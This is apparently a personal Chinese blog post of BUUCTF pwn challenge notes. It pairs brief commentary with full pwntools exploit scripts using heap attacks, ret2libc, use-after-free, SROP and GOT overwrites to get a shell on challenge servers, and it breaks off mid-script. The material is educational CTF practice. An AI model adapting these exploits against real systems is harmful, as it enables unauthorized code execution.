文章目录
- 前言
- 0ctf_2017_babyheap
- ciscn_2019_s_9
- hitcon2014_stkof
- roarctf_2019_easy_pwn
- picoctf_2018_shellcode
- pwnable_hacknote
- ciscn_2019_es_7
- jarvisoj_level5
- npuctf_2020_easyheap
- hitcontraining_bamboobox
- cmcc_pwnme2
- picoctf_2018_got_shell
- picoctf_2018_can_you_gets_me
- wdb_2018_2nd_easyfmt
- actf_2019_babystack
- mrctf2020_shellcode_revenge
- x_ctf_b0verfl0w
- picoctf_2018_leak_me
- suctf_2018_basic pwn
- inndy_echo
- wustctf2020_name_your_cat
- axb_2019_fmt64
- cmcc_pwnme1
- axb_2019_brop64
- Not Bad
- ciscn_2019_es_1
- wustctf2020_easyfast
- wdb2018_guess
- gyctf_2020_some_thing_exceting
前言
这只是个人笔记,buuctf的刷题的第二篇(buuctf的第三页已经刷完),欢迎一起讨论
重新搭建一个合适pwn环境:https://blog.youkuaiyun.com/weixin_41748164/article/details/127874334
buuctf的前两页:https://blog.youkuaiyun.com/weixin_41748164/article/details/126325515
0ctf_2017_babyheap
和网上的其他的payload不一样的是,我在泄漏libc基址时,没有使用fastbins。个人觉得比较简洁,但是需要计算相应的对的大小。但是我修改unsorted bin的fd和bk都不会分配到指定位置,所以在任意地址写法方面还是落到了fastbin中。感兴趣的可以参考以下
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./0ctf_2017_babyheap")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","27543")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.23.so_32")
else:
p = process("./0ctf_2017_babyheap")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
def madd(size):
p.sendlineafter(": ",b"1")
p.sendlineafter(": ",str(size))
def mfill(idx,size,payload):
p.sendlineafter(": ",b"2")
p.sendlineafter(": ",str(idx))
p.sendlineafter(": ",str(size))
p.sendafter(": ",payload)
def mdelete(idx):
p.sendlineafter(": ",b"3")
p.sendlineafter(": ",str(idx))
def mshow(idx):
p.sendlineafter(": ",b"4")
p.sendlineafter(": ",str(idx))
madd(0x20) # 0
madd(0x20) # 1
madd(0x10) # 2
madd(0x10) # 3
madd(0x10) # 4
madd(0x80) # 5
payload = b'a'*0x28+p64(0x91) #
mfill(0,len(payload),payload) # 修改chunk0,但实际上修改了chunk1的堆大小
mdelete(1)
madd(0x20) # 会从unsorted bin中切出0x30的大小,剩余部分依旧在unsorted bin中,fd和bk的指针刚好是chunk2的内容
mshow(2)
p.recvuntil(b"Content: \n")
main_arena_add_offset = u64(p.recv(6).ljust(8,b"\x00"))
offset = 0x3c4b20
libc_base = main_arena_add_offset -0x3c4b20 - 88
__malloc_hook_chunk_addr_offset = 0x3c4aed
__malloc_hook_chunk_addr = libc_base + __malloc_hook_chunk_addr_offset
log.info("main_arena_add_offset:0x%x"%(main_arena_add_offset))
log.info("libc_base:0x%x"%(libc_base))
log.info("__malloc_hook_chunk_addr:0x%x"%(__malloc_hook_chunk_addr))
madd(0x50) # 6
madd(0x10) # 7
madd(0x60) # 8
madd(0x80) # 9 在修改__malloc_hook的时候,还是放在了fastbin中
mdelete(8)
payload = b"a"*0x18+p64(0x71)+p64(__malloc_hook_chunk_addr)
mfill(7,len(payload),payload)
madd(0x60)
madd(0x60) # 10
one_gadget_offset = 0x4526a
payload = b"\x00"*19 + p64(one_gadget_offset+libc_base)
log.info("__malloc_hook_chunk_addr:0x%x"%(one_gadget_offset+libc_base))
mfill(10,len(payload),payload)
madd(0x20)
p.interactive()
ciscn_2019_s_9
这个题还是以前的套路,简单的栈溢出,LibcSearcher 两个都没跑出来,还是最后用了平台提供的libc。直接执行shellcode理论上也是可以的,但用于输入的限制,没做过多的尝试。
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./ciscn_s_9")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","25384")
#p = remote("172.17.0.2","8888")
libc = ELF("./libc-2.27.so_32")
else:
p = process("./ciscn_s_9")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x08048557 : pop ebp ; ret
0x080485d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048359 : pop ebx ; ret
0x080485da : pop edi ; pop ebp ; ret
0x080485d9 : pop esi ; pop edi ; pop ebp ; ret
0x08048342 : ret
0x0804843e : ret 0xeac1
0x080484ca : ret 0xfffe
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b puts")
raw_input()
context.log_level="debug"
context.arch="i386"
#debug()
padding = b"a"*0x20+b"b"*4
hint_addr = 0x08048551
pwn_addr = 0x080484BB
#shellcode = asm(shellcraft.sh())
#print(len(shellcode))
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
payload = padding + p32(puts_plt)+p32(pwn_addr)+p32(puts_got)
p.sendlineafter(">\n",payload)
p.recvuntil(b"\x7e\x0a")
puts_addr = u32(p.recv(4))
libc_base= puts_addr-libc.sym["puts"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
ret_addr = 0x08048342
"""
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("__libc_start_main")
system_addr = libc_base+ libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
"""
log.info("puts_addr:0x%x"%(puts_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
#payload = padding + p32(ret_addr)+p32(ret_addr)+p32(ret_addr)+p32(system_addr)+p32(ret_addr)+p32(bin_sh_addr)
payload = padding +p32(system_addr)+p32(ret_addr)+p32(bin_sh_addr)
p.sendlineafter(">\n",payload)
p.interactive()
hitcon2014_stkof
我还以为Libsearcher 不行了呢,没想到这回他又可以了
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./stkof")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","25888")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.23.so_32")
else:
p = process("./stkof")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
def madd(size):
p.sendline(b"1")
p.sendline(str(size))
def mfill(idex,payload):
p.sendline(b"2")
p.sendline(str(idex))
p.sendline(str(len(payload)))
p.sendline(payload)
def mfree(idx):
p.sendline(b"3")
p.sendline(str(idx))
def mshow(idx):
p.sendline(b"4")
p.sendline(str(idx))
madd(0x20) # 1 从1开始算
madd(0x30) # 2
madd(0x80) # 3
madd(0x20) # 4
fake_chunk_addr = 0x0602140
fake_chunk_fd = fake_chunk_addr-0x8
fake_chunk_bk = fake_chunk_addr
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]
payload = p64(0)+p64(0x31)+p64(fake_chunk_fd)+p64(fake_chunk_bk)+b"a"*8*2+p64(0x30)+p64(0x90)
#payload = b"a"*8
mfill(2,payload)
payload = b"/bin/sh\x00"
mfill(4,payload)
mfree(3) # 通过free(3),会导致全局变量s被s[2]所指向,我们就能任意修改s
payload =b"a"*0x10+p64(free_got)+p64(puts_got)
mfill(2,payload)
payload = p64(puts_plt)
mfill(1,payload)# free 的got表地址已经改成了puts_plt
mfree(2) # mfree(2)->puts(puts_got)
puts_addr = u64((p.recvuntil("\x7f")[-6:]).ljust(8,b"\x00"))
log.info("puts_addr:0x%x"%(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
system_addr = libc_base+ libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.info("puts_addr:0x%x"%(puts_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
payload = p64(system_addr)
mfill(1,payload)
mfree(4)
p.interactive()
roarctf_2019_easy_pwn
贴一篇其他人的exp,这个题跟0ctf_2017_babyheap一样的原理,但是需要注意onegadget的执行成功的条件。
from pwn import *
import time
r=remote('172.17.0.2',8888)
#r=remote('node4.buuoj.cn',28127)
#r=process('roarctf_2019_easy_pwn')
#libc=ELF('./libc-2.23.so_64')
libc=ELF('./libc-2.23.so')
context.log_level="debug"
def add(size):
r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(size))
def edit(index,size,data):
r.recvuntil('choice: ')
r.sendline('2')
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.send(data)
def delete(index):
r.recvuntil('choice: ')
r.sendline('3')
r.recvuntil('index:')
r.sendline(str(index))
def show(index):
r.recvuntil('choice: ')
r.sendline('4')
r.recvuntil('index:')
r.sendline(str(index))
malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']
print (hex(malloc_hook))
print (hex(realloc_hook))
#gdb.attach(r,"b calloc")
add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3
#gdb.attach(r)
edit(0,34,b'a'*0x10+p64(0x20)+p8(0xa1))#off by one
#gdb.attach(r)
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check
#gdb.attach(r)
delete(1)
add(0x90)#idx1 chunk overlap
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
delete(2)
show(1)
r.recvuntil("content: ")
r.recv(0x20)
libc_base=u64(r.recv(6).ljust(8,b"\x00"))-0x3c4b78
print ("libc_base:"+hex(libc_base))
add(0x80)
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
delete(2)
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
add(0x60)
add(0x60)#idx4
#gdb.attach(r)
#one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
one_gadgets=[0x45226,0x4527a,0xf1247,0xf03a4]
edit(4,27,b'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4))
time.sleep(20)
add(0x60)
r.interactive()
我自己的exp可能是因为堆申请的太多,找了一圈,没找one_gadget能够满足执行的条件的地址,看看free_hook的位置,也没有7f
,连堆的伪造也不行。需要改进以下自己的exp
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./roarctf_2019_easy_pwn")
#
if len(sys.argv)>1:
#p = remote("node4.buuoj.cn","28479")
p = remote("172.17.0.2","8888")
libc = ELF("./libc-2.23.so_64")
else:
p = process("./roarctf_2019_easy_pwn")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x0804869b : pop ebp ; ret
0x08048698 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483bd : pop ebx ; ret
0x0804869a : pop edi ; pop ebp ; ret
0x08048699 : pop esi ; pop edi ; pop ebp ; ret
0x080483a6 : ret
0x080484ce : ret 0xeac1
0x080484b8 : leave ; ret
0x080483a6 : ret
0x080484ce : ret 0xeac1
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
def madd(size):
p.sendlineafter(": ",b"1")
p.sendlineafter(": ",str(size))
def medit(idx,size,payload):
p.sendlineafter(": ",b"2")
p.sendlineafter(": ",str(idx))
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",payload)
def mfree(idx):
p.sendlineafter(": ",b"3")
p.sendlineafter(": ",str(idx))
def mshow(idx):
p.sendlineafter(": ",b"4")
p.sendlineafter(": ",str(idx))
madd(0x28) # 0
madd(0x28) # 1 0x30
madd(0x28) # 2 0x30
madd(0x28) # 3 0x30
madd(0x10) # 4 0x10
payload = b"a"*0x28+b"\x91"
medit(0,0x28+10,payload)
mfree(1)
madd(0x28)
mshow(2)
p.recvuntil(b"\x74\x3a\x20")
main_area_add_offset = u64((p.recv(6).ljust(8,b"\x00")))
log.info("main_area_add_offset:0x%x"%(main_area_add_offset))
libc_base = main_area_add_offset - 0x3c4b78
system_addr = libc_base + libc.sym[b"system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
__malloc_hook_offset = 0x3c4b10
__malloc_hook_addr = libc_base + __malloc_hook_offset
__malloc_hook_chunk_offset = 0x3c4aed
__malloc_hook_chunk_addr = libc_base+__malloc_hook_chunk_offset
madd(0x50) # 5
"""
后面fastbin attack,后面申请的堆根前面的没有关系
"""
madd(0x28) # 6
madd(0x28) # 7
madd(0x68) # 8
madd(0x68) # 9
madd(0x38) #10
payload = b"a"*0x28+b"\xa1"
medit(6,0x28+10,payload)
mfree(7)
madd(0x20) # 7
madd(0x60) # 11-8
mfree(8)
payload = p64(__malloc_hook_chunk_addr)
medit(11,len(payload),payload)
madd(0x60) # 8
madd(0x60) # 12
__libc_realloc_offset =0x84710
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
log.info("__malloc_hook_addr:0x%x"%(__malloc_hook_addr))
log.info("__malloc_hook_chunk_addr:0x%x"%(__malloc_hook_chunk_addr))
log.info("one_gadget:0x%x"%(one_gadget))
payload = b"a"*(0x13)+p64(one_gadget)
medit(12,len(payload),payload)
time.sleep(20)
madd(255)
p.interactive()
picoctf_2018_shellcode
什么防护也没有,直接输入shellcode,程序直接call eax
。纯纯的侮辱智商
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./PicoCTF_2018_shellcode")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","28082")
#p = remote("127.0.0.1","8888")
#libc = ELF("./libc-2.23.so_32")
else:
p = process("./PicoCTF_2018_shellcode")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b puts")
raw_input()
context.log_level="debug"
shellcode = asm(shellcraft.sh())
payload = shellcode
p.sendlineafter("string!\n",payload)
p.interactive()
pwnable_hacknote
UAF 漏洞,没啥好说的
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./hacknote")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","26320")
#p = remote("172.17.0.2","8888")
libc = ELF("./libc-2.23.so_32")
else:
p = process("./hacknote")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
def madd(length,payload):
p.sendlineafter(":",b"1")
p.sendlineafter(":",str(length))
p.sendafter(":",payload)
def mfree(idx):
p.sendlineafter(":",b"2")
p.sendlineafter(":",str(idx))
def mshow(idx):
p.sendlineafter(":",b"3")
p.sendlineafter(":",str(idx))
"""
# 因为最多申请5次,所以该payload 不合适
payload = b"a"*4
madd(0x80,payload) # 0
madd(0x18,payload) # 127129
madd(0x18,payload) # 2
#madd(0x8,payload) # 3
mfree(0)
madd(0x80,payload) # 2
mshow(0)
p.recvuntil(b"a"*4)
main_arena_add_offset = u32(p.recv(4))
offset = 0x1b37b0
libc_base = main_arena_add_offset-offset
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("main_arena_add_offset:0x%x"%(main_arena_add_offset))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
mfree(1)
mfree(2)
payload=p32(system_addr)+b";sh\0"
madd(0x8,payload)# 这个堆申请不出来
mshow(1)
"""
puts_got = elf.got[b"puts"]
madd(0x80,'aaaa') # 0
madd(0x80,'bbbb') # 1
#gdb.attach(p)
mfree(1)
mfree(0)
payload = p32(0x804862b)+p32(puts_got)
madd(8,payload) # 0 head 1 content
mshow(1)
puts_addr = u32(p.recv(4))
libc_base= puts_addr-libc.sym["puts"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
log.info("puts_addr:0x%x"%(puts_addr))
mfree(2)
payload = p32(system_addr) + b';sh\0'
madd(8,payload) # 0 head 1 content
mshow(1)
p.interactive()
ciscn_2019_es_7
这道题我原本以为是ret2syscall,结果找了半天,发现凑不出来相应的寄存器的值。网上一搜原来是SROP,没接触过
https://blog.youkuaiyun.com/mcmuyanga/article/details/112509274,这篇博客讲的还不错,参考这篇的payload
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./ciscn_2019_es_7")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","26569")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.23.so")
else:
p = process("./ciscn_2019_es_7")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop r14 ; pop r15 ; ret
0x00000000004005a2 : pop r15 ; ret
0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400440 : pop rbp ; ret
0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003a9 : ret
read 0 write 1 execve 59
rdi rsi rdx
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
context.arch = "amd64"
main_addr = 0x4004f1
#time.sleep(15)
offset = 0x118
padding = b"/bin/sh\x00"+b"a"*(0x10-8) +p64(main_addr) + p64(main_addr)# 实际调试中原本rbp的位置应当填充下一条地址
#time.sleep(20)
p.send(padding)
#print(p.recvuntil(b"\x7f")[-6:])
stack_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
bin_sh_addr = stack_addr-offset
log.info("stack_addr:0x%x"%(stack_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
# SROP
syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh_addr
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_ret
#print(bytes(frame))
p.send(b"/bin/sh"+b"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+bytes(frame))
p.interactive()
jarvisoj_level5
简单的ret2libc
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./level3_x64")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","27151")
#p = remote("127.0.0.1","8888")
#libc = ELF("./libc-2.23.so_32")
else:
p = process("./level3_x64")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
rdi rsi rdx rcx r8 r9
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b write")
raw_input()
#debug()
context.log_level="debug"
bin_sh_addr = 0x600b00
main_addr = 0x4005E6
mov_rdx_r13_addr = 0x400690
pop_r12_r13_r14_r15_ret_addr = 0x00000000004006ac
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
ret_addr = 0x0000000000400499
pop_rdi_ret_addr = 0x00000000004006b3
__libc_start_main_got = elf.got["__libc_start_main"]
# write(1,__libc_start_main_got,8)
padding = b"a"*0x80+p64(1)+p64(pop_r12_r13_r14_r15_ret_addr)+p64(write_got)+p64(8)+p64(__libc_start_main_got)+p64(1)+p64(mov_rdx_r13_addr)+b"a"*8*7+p64(main_addr)
payload = padding
p.sendlineafter("Input:\n",payload)
__libc_start_main_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc = LibcSearcher("__libc_start_main",__libc_start_main_addr)
libc_base = __libc_start_main_addr-libc.dump("__libc_start_main")
system_addr = libc_base+ libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
padding = b"a"*0x80+p64(1) + p64(ret_addr)+p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(system_addr)
payload = padding
p.sendlineafter("Input:\n",payload)
p.interactive()
npuctf_2020_easyheap
这道题的环境是ubuntu18,libc大于2.26,所以存在teach-bin。
刚开始以为要绕过teach-bin,后来脑子灵光一闪,不用绕过,teach-bin的安全机制特别简单,特别容易绕过。通过off-by-one
,修改chunk大小,再利用first-fit
通过删除,申请的操作申请回来,那么就会造成堆重叠,就可以修改存储content chunk地址的chunk。于是通过打印,修改free got表为system地址,便可完成相关利用。
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./npuctf_2020_easyheap")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","29733")
#p = remote("172.17.0.2","8888")
#libc = ELF("./libc-2.23.so_32")
else:
p = process("./npuctf_2020_easyheap")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
def madd(length,payload):
p.sendlineafter(":",b"1")
p.sendlineafter(":",str(length))
p.sendafter(":",payload)
def medit(idx,payload):
p.sendlineafter(":",b"2")
p.sendlineafter(":",str(idx))
p.sendafter(":",payload)
def mshow(idx):
p.sendlineafter(":",b"3")
p.sendlineafter(":",str(idx))
def mfree(idx):
p.sendlineafter(":",b"4")
p.sendlineafter(":",str(idx))
payload = b"a"*8
__libc_start_main_got = elf.got["__libc_start_main"]
free_got = elf.got["free"]
madd(0x18,payload) # 0
madd(0x18,payload) # 1
madd(0x18,b"/bin/sh\x00") # 2
payload = b"b"*0x18+b"\x41"
medit(0,payload)
mfree(1)
payload = b"c"*0x18+p64(0x21)+p64(0x38)+p64(free_got)
madd(0x38,payload) # 1 堆重叠
mshow(1) # 打印free got表地址
free_got = u64((p.recvuntil(b"\x7f")[-6:]).ljust(8,b"\x00"))
print(hex(free_got))
libc = LibcSearcher("free",free_got)
libc_base = free_got-libc.dump("free")
system_addr = libc_base+ libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.info("free_got:0x%x"%(free_got))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
payload = p64(system_addr)
medit(1,payload)
mfree(2)
p.interactive()
hitcontraining_bamboobox
远端没有 /home/bamboobox/flag 文件
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./bamboobox")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","26776")
#p = remote("172.17.0.2","8888")
libc = ELF("./libc-2.23.so_64")
else:
p = process("./bamboobox")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b printf")
raw_input()
context.log_level="debug"
magic_addr = 0x400D49
free_got = elf.got["free"]
atoi_got = elf.got["atoi"]
def madd(length,payload):
p.sendlineafter("choice:",b"2")
p.sendlineafter(":",str(length))
p.sendafter(":",payload)
def mfree(idx):
p.sendlineafter("choice:",b"4")
p.sendlineafter(":",str(idx))
def mshow():
p.sendlineafter("choice:",b"1")
#p.sendlineafter(":",str(idx))
def medit(idx,length,payload):
p.sendlineafter("choice:",b"3")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(length))
p.sendafter(":",payload)
payload = b"a"*8
madd(0x10,payload) # 0
madd(0x20,payload) # 1
madd(0x20,payload) # 2
madd(0x20,payload) # 3
madd(0x10,payload) # 4
payload = b"b"*0x18+p64(0x91)
medit(0,len(payload),payload)
#mshow()
mfree(1)
payload = b"c"*8
madd(0x20,payload) # 1
mshow()
main_arena_add_offset_addr = u64((p.recvuntil(b"\x7f")[-6:]).ljust(8,b"\x00"))
offset = 0x3c4b78
libc_base = main_arena_add_offset_addr-offset
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
# 重新布置堆块,跟上面泄漏libc的堆就没有关系了
payload = b"c"*8
madd(0x10,payload) # 5
madd(0x10,payload) # 6
madd(0x10,payload) # 7
madd(0x10,payload) # 8
mfree(6)
mfree(7)
payload = b"c"*0x18+p64(0x21)+p64(0)*3+p64(0x21)+p64(0x6020e8) # 修改fd指针为heap_array
medit(5,len(payload),payload)
payload = b"b"*8
madd(0x10,payload) # 6
payload = p64(atoi_got) # 设置堆块为atoi的got表,因为free的got表有一些问题
madd(0x10,payload) # 7
payload = p64(system_addr)
medit(3,len(payload),payload)# 0x6020e8 是heap_array 偏移第三个,修改第三个其实就是在修改atoi got表的内容
p.sendlineafter("choice:",b"/bin/sh\x00")
log.info("main_arena_add_offset_addr:0x%x"%(main_arena_add_offset_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
log.info("free_got:0x%x"%(free_got))
"""
远端没有 /home/bamboobox/flag 文件,以下exp 无效
madd(0x10,payload) # 0
madd(0x10,payload) # 1
madd(0x10,payload) # 2
madd(0x20,payload) # 3
madd(0x20,payload) # 4
madd(0x10,payload) # 5
madd(0x10,payload) # 6
mfree(1)
mfree(2)
payload = b"c"*0x18+p64(0x21)+p64(0)*3+p64(0x21)
medit(0,len(payload),payload)
payload = p64(magic_addr)+p64(magic_addr)
madd(0x10,payload) # 1
madd(0x10,payload) # 2
p.sendlineafter("choice:",b"5")
"""
p.interactive()
cmcc_pwnme2
远端无文件
,简单的栈溢出
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./pwnme2")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","28850")
#p = remote("127.0.0.1","8888")
libc = ELF("./libc-2.23.so_32")
else:
p = process("./pwnme2")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================
0x08048680 : pop ebp ; ret
0x080487e8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048409 : pop ebx ; ret
0x0804867f : pop edi ; pop ebp ; ret
0x080487e9 : pop esi ; pop edi ; pop ebp ; ret
0x080483f2 : ret
0x0804865c : ret 0xb8
0x0804854e : ret 0xeac1
"""
def debug():
if len(sys.argv)<=1:
gdb.attach(p,"b puts")
raw_input()
#debug()
context.log_level="debug"
"""
远端无文件
pop_ebx_ret = 0x08048409
add_home = 0x8048644
add_flag = 0x8048682
exec_string = 0x080485CB
main_addr = 0x080486F8
padding = b"a"*0x6c+b"b"*4
#payload = padding + p32(add_home)+p32(add_flag)+p32(0xDEADBEEF)+p32(pop_ebx_ret)+p32(exec_string) + p32(0xCAFEBABE)+p32(0xABADF00D)
payload = padding + p32(add_home)+p32(main_addr)+p32(0xDEADBEEF)
p.sendlineafter(b":\n",payload)
#padding = b"a"*0x6c+b"c"*4
payload = padding + p32(add_flag)+p32(main_addr)+p32(0xCAFEBABE)+p32(0xABADF00D)
p.sendlineafter(b":\n",payload)
payload = padding + p32(exec_string)+p32(main_addr)
p.sendlineafter(b":\n",payload)
"""
ret_addr= 0x080483f2
main_addr = 0x080486F8
puts_plt = elf.plt["puts"]
__libc_start_main_got = elf.got["__libc_start_main"]
padding = b"a"*0x6c+b"b"*4
payload = padding + p32(puts_plt)+p32(main_addr)+p32(__libc_start_main_got)
p.sendlineafter(b":\n",payload)
p.recvuntil(b"\x0a")
__libc_start_main_addr = u32(p.recv(4))
libc_base= __libc_start_main_addr-libc.sym["__libc_start_main"]
system_addr = libc_base+ libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = padding +p32(system_addr)+p32(ret_addr)+p32(bin_sh_addr)
p.sendlineafter(b":\n",payload)
log.info("__libc_start_main_addr:0x%x"%(__libc_start_main_addr))
log.info("libc_base:0x%x"%(libc_base))
log.info("system_addr:0x%x"%(system_addr))
log.info("bin_sh_addr:0x%x"%(bin_sh_addr))
p.interactive()
picoctf_2018_got_shell
在__isoc99_scanf("%x", &v4);
情况下用hex输入地址,不能用p32()
直接修改got表即可
from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
elf = ELF("./PicoCTF_2018_got-shell")
#
if len(sys.argv)>1:
p = remote("node4.buuoj.cn","26023")
#p = remote("127.0.0.1","8888")
#libc = ELF("./libc-2.23.so_32")
else:
